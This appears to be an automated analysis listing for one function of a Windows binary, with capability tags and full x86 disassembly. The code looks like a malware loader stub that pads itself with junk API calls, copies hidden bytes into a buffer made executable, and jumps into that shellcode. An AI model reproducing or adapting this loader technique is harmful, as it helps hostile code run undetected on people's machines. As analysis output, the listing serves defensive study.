Function at 0x403c41
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403c6e
inc edi
cmp edi, 0x67d12
jl 0x403c51
cmp dword [0x283c71c], 0x93
jne 0x403d43
push 0x4037e4
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x4037f0
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403800
push 0x403810
push 0x403818
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.004040d4
push esi
push 0x403772
push 0x459728
call fcn.00404180
push esi
push esi
call fcn.004048ca
push esi
call fcn.00404890
push esi
push esi
call fcn.004048bf
add esp, 0x24
mov eax, dword [0x444b5c]
add dword [0x283c71c], 0x1134b
push 0x40382c
mov dword [0x283d558], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40383c
push eax
mov dword [0x283c1ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x283c71c]
mov dword [0x283c1a0], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x283c71c]
mov dword [0x283c1a8], eax
push eax
call dword [0x283c1a0]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call ebx
dec edi
jne 0x403da8
cmp dword [0x283c71c], esi
jbe 0x403e23
mov eax, dword [0x283d558]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x283c1a8]
mov byte [ecx + edi], al
cmp dword [0x283c71c], 0x490
jne 0x403e1a
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x283c71c]
jb 0x403dcc
xor edi, edi
mov eax, dword [0x283c71c]
add eax, edi
cmp eax, 0x8d
jne 0x403e64
push esi
lea eax, [ebp - 0x41c]
push eax
push esi
push 0x40384c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x403850
push 0x403864
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403e25
call fcn.00403b68
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x403e8f
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x11739
mov eax, dword [ebp - 8]
add dword [0x283c1a8], eax
inc edi
cmp edi, 0x674bd
jl 0x403e74
push 0x7b
pop edi
cmp dword [0x283c71c], 0x86
jne 0x403ed6
push esi
push esi
push esi
push esi
push esi
push esi
push 0x403890
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403e9b
push 0x4038ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x283c1a8]
pop edi
pop esi
pop ebx
leave
ret